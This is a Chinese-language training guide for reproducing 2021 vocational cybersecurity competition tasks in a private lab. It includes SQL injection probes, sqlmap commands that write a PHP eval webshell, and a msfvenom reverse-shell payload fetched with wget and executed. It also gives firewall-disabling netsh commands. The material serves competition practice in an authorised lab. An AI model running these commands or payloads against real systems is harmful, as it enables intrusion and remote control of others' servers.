简介2021年全国职业院校技能大赛网络安全竞赛试题文档面向参赛选手、指导教练及网络安全学习者覆盖服务器安全加固、数据库加固、流量完整性保护、事件监控、服务加固和防火墙策略等核心赛项。资源为1个docx文件包体仅119KB内容为纯赛题要求与操作要点无需安装额外环境即可直接阅读。目前已有958人学习。文档按A-1至A-6任务模块组织包含Windows与Linux双平台的具体加固命令如修改/etc/login.defs和/etc/ssh/sshd_config、配置IIS URL重写实现HTTPS重定向、设置vsftpd匿名禁用及无人操作超时、用iptables禁用端口和禁止ping等同时涉及数据库账户权限管理、MD5加密、审核策略配置等高频考点并附远程会话超时、用户登录时间限制等细节。读者可逐项对照练习系统掌握网络安全竞赛的常见题型与加固思路适合备赛冲刺和日常技能提升。1. 一份docx为何值得当靶场看国赛真题的打开方式如果你把《2021年全国职业院校技能大赛网络安全竞赛试题.docx》当成普通的考题文档来浏览那大概率会错过它真正的价值——它不是一道道背题清单而是一套自带评分标准的靶场图纸。文档里给出的每个赛项环境都能在本地虚拟机上原样搭起来按要求走一遍信息收集、漏洞利用、提权、加固、应急响应的完整链路每一步还对应着明确的评分点。对刚入行、准备跳槽做安全服务或想从运维转安全的从业者来说这一份docx的价值远远超过一本渗透测试教材——它是一套带验收标准的模拟项目X值得当成项目练而不是当成试卷看完。打开这套题你要做的第一件事也不是看题面写了什么而是先搞清楚两点题目想要你输出什么flag、截图、还是恢复服务以及裁判系统按什么规则给你打分。这两点决定了你的做题顺序和时间分配也决定了你复现的时候该把环境参数调成什么样。下文我会把这个文档里最常见的模块、复现环境搭建方式、一条完整Web题的解题链路以及我在训练过程中反复踩过的坑依次拆开讲。2. 先看题面再做题国赛网络安全赛项的模块地图国赛网络安全赛项的题面结构在2021年前后的几届里都比较稳定前半段是单人操作的信息系统安全测试包含信息收集、Web渗透、漏洞利用、权限提升、系统加固与应急响应后半段通常是团队对抗模式也就是AWD攻防。这份docx的题目要求虽然在每年的具体环境上有变化但模块之间的分值权重差异不大。把分值分布过一遍之后你会发现真正拉开差距的往往不是最难的提权题而是Web渗透模块里的基本功——注入、上传、反序列化这三类问题几乎年年出现占比最重且每一道都在题面里给了明确的服务地址和账密线索。另一个值得留意的点是模块之间的关联性。2021年的赛题很喜欢把Web利用和应急响应做成前后衔接的关系前一题让你拿到WebShell后一题就给你一台已经中招的机器让你从流量包、日志和启动项里把攻击链反推出来。这意味着你不能把题目孤立地看做题顺序本身就会影响你的熟练度先做利用再做过剩的排查对日志里出现的WebShell路径才会更有感觉。2.1 Web渗透模块注入、上传、反序列化三件事占比最重打开题面最常见的开局是一张拓扑图加一段环境说明目标站点用IP加端口的方式直接给出不提供任何指纹提示。你需要从零开始判断这是个什么框架写的、中间件是什么版本、哪条参数能进数据库、哪个上传点没做白名单校验。2021年赛题里SQL注入仍然是最稳定的入口比文件上传和反序列化出现得更频繁。原因很简单——注入点在留言板、新闻详情、搜索框这些地方到处都是只要开发用了字符串拼接就一定有闭合问题可挖。文件上传题则更考验对中间件配置的了解。考题里常见的两个场景一是前端只做了JS后缀校验Burp Suite改包就能绕二是后端校验了扩展名但没校验文件头可以用图片马加包含漏洞组合利用。反序列化在当年不算主流但一旦出现就是高分题因为它要求你先能找到触发点通常是没有鉴权或弱口令的接口再对框架的利用链有足够熟悉度。三个方向里我的建议是先集中火力练SQL注入和文件上传这两个方向投入产出比最高反序列化可以等前两项稳定拿分之后再沉下心研究。2.2 漏洞利用与提权从CVE到系统权限的临场条件Web入口打通之后接下来的提权环节才是真正区分熟手和生手的部分。2021年的赛题提权目标通常分为两类一类是Windows Server一类是Linux。Windows方向的高频考点集中在补丁缺失导致的内核提权和数据库弱口令运维提权Linux方向则以sudo配置错误、定时任务脚本可写和MySQL UDF提权最常出现。你可以把提权想象成一个等式你手上有什么权限 目标机器上有什么错误配置 能不能拿到更高权限。这个等式里最关键的变量是系统版本和补丁情况。比赛用的虚拟机通常是老版本系统不装补丁所以历史CVE的命中率极低。很多考生在训练时会死记某几个官方EXP的用法到了赛场发现版本对不上、编译不过当场就懵了。我自己的习惯是反过来先跑systeminfo或uname -a把版本号、补丁列表、已安装的数据库版本抄下来再去匹配已知漏洞链。这样做题可能慢几分钟但成功率比盲打高得多。另外比赛环境里MySQL 5.7配弱口令root的情况不少UDF提权几乎是必练项目后面我会把完整命令写出来。2.3 应急响应与加固赛题里最像真实生产事故的环节应急响应模块是蓝队属性的题目它给的不是一台待攻陷的机器而是一台已经中招的机器。题面通常会描述一个背景某公司网站访问缓慢安全运维人员发现服务器CPU飙升请你排查后门、分析攻击方式并完成加固。这一题想考察的不是你会不会写EXP而是你能不能从日志、进程、网络连接、文件变动里把入侵路径快速还原出来。在真实的安全服务项目里这类排查需求占比很高所以赛题把它独立成一个模块并不让人意外。解题时墙上有一块白板我会把排查命令按顺序写上去先看端口和进程netstat -ano、tasklist再看启动项和计划任务reg query、schtasks然后查Web目录下最近修改的文件find -mtime -3最后翻访问日志和数据库慢查询日志。这个顺序能帮你用最短时间锁定后门的藏身位置。加固部分反而简单——修改弱口令、关掉不必要端口、删除恶意文件、补上漏洞点每一步都对应文档里的一个评分点动手前先规划哪一步带来的分数多别一头扎进细节里。2.4 运维安全与流量分析容易被忽略的送分题流量分析在题面里看起来最像「看不懂」的部分但说实话它是整个试卷里性价比最高的题目。菜鸟可能会被一摞pcapng文件吓住实际上考察点非常固定扫描行为、WebShell通信流量、数据库拖库、木马上线流量。用Wireshark打开文件后先做一层过滤HTTP请求里找POST和异常UADNS流量里找长域名和陌生域名TCP流里找长度异常的包基本就能定位到关键会话。真题里很少考复杂加密流量的解密大部分是明文HTTP交互条件给得很宽松。这模块跟前面的Web渗透题是配套的前面你拿SQL注入拖过库这里就让你从流量包里分析一次SQL注入的过程前面你上传过WebShell这里就让你找到上传时的POST请求体和返回包。把两部分结合起来练比单独刷流量题见效快两倍。对时间不充裕的人来说流量分析建议放在Web渗透和提权之后刷但千万别直接跳过它往往是最后几分钟能快速捡分的模块。3. 复现环境怎么搭三台虚拟机与快照策略的落地配置题面里给的环境在你自己电脑上不会自动出现你需要按文档描述把靶场还原出来。复现环境这件事做得好能省下大量试错时间做得随意会让你在做的过程中反复怀疑是题目错了还是自己环境错了。我见过不少A同学把复现环境搭得和题面描述完全不一样最后跑出来的结果对不上评分点白白浪费时间。搭建之前第一步是把文档里的IP地址、账号密码、服务端口全部誊到一张表里别在解题中途再翻docx找半天。网络拓扑层面的常见做法是准备三台虚拟机攻击机用Kali受害机按题面要求选择Windows Server或某一版Linux裁判与流量验证用一个轻量工具机也可以直接用宿主机上的浏览器和Burp截图来模拟。三台机器之间用VMware的自定义网络连接攻击机能访问受害机、受害机能出网访问更新源但攻击机不做NAT映射以免干扰判断。这样接线的好处是隔离干净出现问题便于排查难度和一台物理机上乱跑服务完全不是一个量级。3.1 靶场拓扑攻击机、受害机、裁判机谁和谁该同网段题面给的IP段在每个学校机房不一样但2021年的题目大多使用/24这类内网网段攻击机、受害机、数据库服务器都在同一个二层网络里。复现时建议照抄一个示例网段攻击机192.168.1.20受害机192.168.1.10数据库192.168.1.11所有机器通过VMware的VMnet2自定义仅主机模式连接。攻击机用桥接还是仅主机我的经验是仅主机模式比较稳宿主机的Wi-Fi切换不会把靶机的IP冲掉。拓扑不复杂但有一个细节容易被忽略受害机上跑的Web服务如果绑定的是127.0.0.1而不是0.0.0.0攻击机永远访问不到。每次把环境装好、服务启动完成后先用curl从攻击机访问一下受害机的首页把这个最基本的连通性确认掉再开始做题。这一步30秒就能做完却能排除后面至少三分之一的玄学故障。3.2 镜像选择与快照策略动手前先给自己留三张后悔药镜像选择的原则只有一条和题面描述一致。如果题面写着Windows Server 2008就不要图方便用了2012如果题面写PHP 5.6加MySQL 5.7就不要把环境换成PHP 8。原因不是版本越高越难而是评分点的预期行为和版本绑定得很紧比如某条UDF利用链在MySQL 5.7能跑通在MySQL 8.0里直接就废了。为了复现顺畅建议把常见的组合打包成模板虚拟机Windows Server 2008PHP5.6MySQL5.7一套CentOS 7ApachePHP 7.4一套装好后打一个干净快照随用随复制不用每次从头装环境。快照策略更是血泪经验堆出来的。我的习惯是在三类时间点各打一个快照环境刚装好时、Web服务跑起来时、做完一整套题准备收工时。第二个快照尤其重要因为赛题的评分系统很多时候要求你在「服务正常运行」的前提下提交结果。做题过程中把数据库改坏、把服务搞挂是家常便饭一个快照恢复回去就能回到10分钟前的状态比手动改配置快得多。记住快照的命名要写清楚时间点和状态比如「已完成sql注入环境破坏前」不然隔两天你自己都认不出哪个是哪个。3.3 把docx里的IP写进hosts表一份随时能用的映射清单题面里的站名、IP、端口、账号、密码、flag提交格式每一项都值得你誊到一张独立的映射表里。比赛时桌面混乱、文档窗口来回切换很容易出错复现时也一样。整理信息的过程本身就是对题目结构的二次理解你会顺手标出哪台机器是入口、哪台是跳板、哪台有数据库后面做题时脑子里会有清晰的目标链。资源地址 / 端口账密用途受害机Web入口192.168.1.10:80admin / admin888SQL注入、上传数据库服务器192.168.1.11:3306root / rootUDF提权、拖库攻击机Kali192.168.1.20kali / kali扫描、利用、监听裁判/截图机192.168.1.30:8080score / score评分页、截图证据表格里的内容是按常见赛题结构整理的示例具体信息以你手上那份docx为准。把表格打印出来放在屏幕边上比来回翻文档高效得多。每做完一步在表格里打一个勾也能避免漏做评分点。4. 从信息收集到提权拿分一条Web题的完整解题链下面用一个自建的模拟站点把2021年最常见的一类Web题完整跑一遍。这个环境是我在某高校实训靶场的模拟项目X上配置的Nginx加PHP 5.6加MySQL 5.7入口是192.168.1.10:80站点根目录在/var/www/html。整条链路按五步走信息收集、注入点确认、数据提取、WebShell写入、系统提权。所有操作都限定在自建授权靶场内进行你在自己机器上复现时也务必确保环境是自行搭建的别拿公网目标练手。4.1 信息收集nmap与dirsearch把目标翻个底朝天访问首页之前先把端口和服务跑一遍是基本素养。nmap的用法不是扫完就完而是要带着问题去扫目标开了哪些端口、这些端口的服务版本是什么、是否有常见的管理后台路径。按我这个习惯来第一轮信息收集能在五分钟内完成。nmap -sV -T4 -p- 192.168.1.10 dirsearch -u http://192.168.1.10 -e php,bak,txt -t 5-sV是探测服务版本-T4把扫描速度调到激进档但不会丢包-p-扫全端口而不是默认的1000个常用端口。dirsearch的-e参数指定常见后缀后台路径像admin.php、index.php.bak这种文件就是靠它一个个试出来的。拿到结果后先看三样东西HTTP服务版本判断有没有已知中间件漏洞、robots.txt里的路径经常有惊喜目录、以及备份文件名.bak文件里可能直接躺着数据库配置。4.2 SQL注入利用从闭合判断到写入WebShell的三种载荷注入点经常藏在新闻详情页或搜索框里特征是URL后面跟着?idscript这类参数。判断闭合方式讲究手感先加单引号看是否报错再加注释符看是否能恢复正常两步就能确认注入类型。演示代码如下。# 第一步判断闭合方式。正常页面返回id1的记录 curl -G http://192.168.1.10/newsinfo.php?id1 # 加单引号后页面报SQL语法错误 存在字符型注入 curl -G http://192.168.1.10/newsinfo.php?id1%27 # 加--注释后恢复正常 闭合方式为单引号 curl -G http://192.168.1.10/newsinfo.php?id1%27--确认注入点后联合查询拿当前用户和数据库版本是必做动作。这一条命令同时满足两个目的确认权限级别以及为后续写文件做准备。权限是root还是普通用户直接决定了UDF提权这条路能不能走。# 联合查询确认字段数、当前用户、数据库版本 sqlmap -u http://192.168.1.10/newsinfo.php?id1 \ --dbmsmysql \ --current-user \ --current-db \ --is-dbasqlmap的--dbmsmysql把数据库限定在MySQL避免它黑盒猜一堆没用的东西--is-dba是关键的权限探测项返回True就意味着当前数据库账号是管理员后面的UDF提权有了前提。跑完这组命令记录下current user和current db下一步写WebShell时路径编排要依赖这两个信息。如果sqlmap因为WAF或过滤跑不动再考虑手动构造UNION SELECT写入不过2021年的赛题很少上WAF工具流通常一步到位。4.3 从弱口令到系统权限Msfvenom、数据库提权与痕迹清理拿到数据库权限后下一跳就是把WebShell落到站点根目录。sqlmap自带的文件读写功能是这条路线上最顺手的工具一条命令就能把准备好的PHP木马写入web目录。# 先在Kali上准备一个一句话木马文件 echo ?php eval($_POST[x]);? /tmp/shell.php # 通过注入点把文件写到Web站点根目录 sqlmap -u http://192.168.1.10/newsinfo.php?id1 \ --dbmsmysql \ --file-write/tmp/shell.php \ --file-dest/var/www/html/shell.php--file-write指定本地要上传的源文件--file-dest指定写入目标路径。路径必须和nmap阶段确认的站点根目录一致/var/www/html是Apache和Nginx的常见默认路径如果题面用了别的根目录这里的--file-dest就要跟着改。写完马上用浏览器访问一下http://192.168.1.10/shell.php看到空白页或?php ... ?被原样输出就说明上传失败需要检查目录权限和目标路径是否正确。WebShell落地之后提权的思路就转移到系统层面。2021年赛题里最常见的是MySQL UDF提权前提是根目录可写且mysqld以root权限运行利用方式是用sqlmap或手工把UDF动态库上传到插件目录然后创建自定义函数执行系统命令。# 在Kali生成一个反向Shell载荷 msfvenom -p linux/x64/meterpreter/reverse_tcp \ LHOST192.168.1.20 LPORT4444 \ -f elf -o /tmp/shell.elf # 上传到受害机的/tmp目录 python3 -m http.server 8080 # 受害机执行通过WebShell或UDF系统函数 cd /tmp wget http://192.168.1.20:8080/shell.elf chmod x shell.elf ./shell.elf-p指定了反向Shell的payloadLHOST必须是攻击机能被受害机访问到的IPLPORT监听端口随便挑一个不易冲突的。反向Shell把流量打出去之后受害机的出站流量必须能到192.168.1.20:4444这一步如果不通优先检查受害者机器的防火墙出站规则我在下一章会专门讲这个坑。拿到Meterpreter会话后用sysinfo确认内核版本再用getuid确认当前用户。若当前用户是www-data尝试sudo -l查看有没有免密sudo项若没有就回到MySQL试试UDF链。收尾动作别忘了清理/tmp下的载荷、数据库里的自定义函数、Web目录的木马文件都要删掉评分点里有一项就是检测你是否留下了后门。5. 复现中的6个高频踩坑与排查方法从掉线到环境重置训练赛和正式比赛碰到的故障九成以上不是题目本身有问题而是环境细节没对齐。我按「现象 → 原因 → 解决」的格式把高频坑列出来复现时遇到问题先逐条对照能省掉一大半排查时间。这些坑在2021年那套docx里不会直接写出来但你在环境搭建和做题过程中几乎一定会撞上。5.1 反向Shell反复掉线出站防火墙把你拦在门外现象Kali上监听4444端口等待连接受害机那边也显示命令已执行但Metasploit的session半天不出来偶尔连上几秒就断开。原因受害机尤其是Windows Server 2008自带防火墙的入站规则和出站规则并存入站没开对应端口没事出站却被默认策略拦了。很多人只关入站防火墙忽略了出站规则反向Shell迟迟打不回来。解决在受害机上执行netsh advfirewall firewall set rule all dirout enableno或者直接netsh advfirewall set allprofiles state off。比赛环境下关防火墙不影响评分但重新恢复快照后防火墙会随环境重置需要在做题前重新确认。若不想全关就在出站规则里放行TCP 4444这一个端口保持其他策略不动。5.2 sqlmap跑得慢或误报PHP版本与连接方式不匹配现象sqlmap指定了--dbmsmysql后依然长时间卡在检测阶段偶尔还报出「back-end DBMS: active fingerprinting」或干脆识别不出指纹。原因PHP 5.6时代的老站经常用mysql_connect扩展而sqlmap的指纹识别逻辑对老扩展的支持不如新版本好。实测里目标站点的响应慢也会让sqlmap的并发检测频繁超时误报率直线上升。解决给sqlmap加--techniqueB只跑布尔盲注加上--delay1把每次请求间隔调到1秒减少超时误判。如果还不行把--level降到1、--risk设为1保证基础注入检测先走通。确认注入存在后再逐步提高level和risk去抓更多数据类型不要一上来就用高等级参数那只会让老PHP站点不堪重负。5.3 评分界面长时间不变绿裁判系统存在固定刷新周期现象自己明明已经完成某题的利用按要求拿到了flag或截图评分界面却迟迟不变绿于是反复重启靶机试图触发重新评分结果把好好的环境搞废了。原因裁判系统的评分不是实时的它有固定的轮询周期短则30秒长则5分钟。评分程序会在周期内检查你的目标机状态、flag文件位置和服务运行情况并不是你提交文件那一刻就立即更新分数。解决完成一个评分点后等待至少两个轮询周期再刷新页面。等待期间不要动靶机上的服务配置不要重启更不要为了「让系统重新检测」去关掉端口。截图取证时把系统当前时间也截进去评分有争议时这是最有力的证据。这条经验在正式比赛和复现训练里同样适用。5.4 快照恢复后MySQL起不来服务没随环境自动拉起现象做题做到一半发现环境被我改坏了恢复快照回到几分钟前访问站点却提示数据库连接失败PHP页面报500。原因快照恢复会把文件系统还原到拍摄时的状态但不会自动把当时运行中的服务恢复回来。如果快照拍摄时MySQL进程恰好没有正常关闭恢复后数据目录的锁文件还在MySQL会拒绝启动。解决恢复快照后按固定顺序做三件事——先service mysql start再service apache2 start最后iptables -F清掉可能残留的规则。把它写成一个脚本恢复后双击执行省得每次手动敲三遍。更稳妥的做法是在打快照前先把所有服务停掉再打但这个习惯在时间紧张的赛场上不太现实脚本兜底更靠谱。5.5 前一天写的exp第二天打不开路径与快照的版本错位现象头天晚上训练的EXP命令明明能跑通第二天换了一台复现机器或恢复了一次快照同样的命令却报文件不存在或连接被拒。原因快照和EXP脚本之间的路径依赖没对齐。常见情况是EXP里写死了/tmp/shell.elf但恢复快照后/tmp目录被清空或者Kali侧的监听端口被另一场训练占用导致连接打到了错误的服务上。解决所有EXP一律用相对路径或变量化路径端口不要固定死写成从命令行传入的参数。例如./run.sh 192.168.1.20 4444这样换机器换网段时只需要改参数不用改脚本。另外Kali上建一个独立的exp目录每天收工前把当天的脚本、命令历史、截图全部归档到目录里第二天直接从这个目录继续不要让工具散落在/tmp和家目录下面。5.6 用错PHP版本导致上传的WebShell执行不了现象文件上传显示成功浏览器访问WebShell却直接返回源码或者页面变成下载框而不是正常执行PHP代码。原因目标站点的PHP版本和执行方式与题面不符。2021年赛题里出现过PHP 5.4配Apache走mod_php、Nginx配php-fpm两种执行模式图片马和短标签写法在两种模式下表现完全不同。短标签?在PHP 5.4默认开启在后续版本默认关闭写一句话时用?php最稳。解决上传WebShell前先看目标站点的响应头确认是Apache还是Nginx再决定脚本写法。Apache环境写标准?php eval($_POST[x]);?Nginx配php-fpm时确认一下fastcgi配置是否只放行index.php若只放行固定入口直接上传随机文件名的PHP会404需要配合包含漏洞或修改配置绕过。做题前花30秒确认环境组合上传环节基本一次过。6. 把真题训练变成自己的技术储备进阶用法与时间投入控制这套docx除了按题目顺序刷还可以换三种用法把每个模块的解题过程整理成自己的执行手册把每题的利用脚本归档成一个exp仓库把题目环境本身当作用例库来测试你写的检测规则。我见过一个很有效的习惯每做完一题用markdown写一份「通读记录」包含目标环境、踩的坑、用过的命令、成功路径和失败路径。这份记录在赛后三个月回头看价值比题面本身还大它记录的是你当时没意识到的东西——哪些操作是条件反射哪些是真正理解后的选择。时间投入上我建议给这套题预留三轮。第一轮只搭环境不过题目标是让所有服务和拓扑能起来第二轮完整跑一遍每道题不做优化记录原始耗时第三轮针对前两轮里卡壳超过30分钟的点专项重练把单题时间压缩到10-15分钟。三轮加起来大概需要一周的下班时间比漫无目的地刷工具教程高效得多。最后说一个训练时养成的习惯所有命令执行前先写注释说明意图执行后立刻记录输出里的关键行。赛后复盘时你会发现一个「为什么当时要先查这个端口」的注释比一整页的扫描输出更有价值。比赛也好复现也好真正沉淀下来的不是你敲过的命令而是你判断下一步该做什么的逻辑。希望这份拆解能帮你在复现2021年这套题时少走弯路把每一道题都变成自己的东西。本文还有配套的精品资源点击获取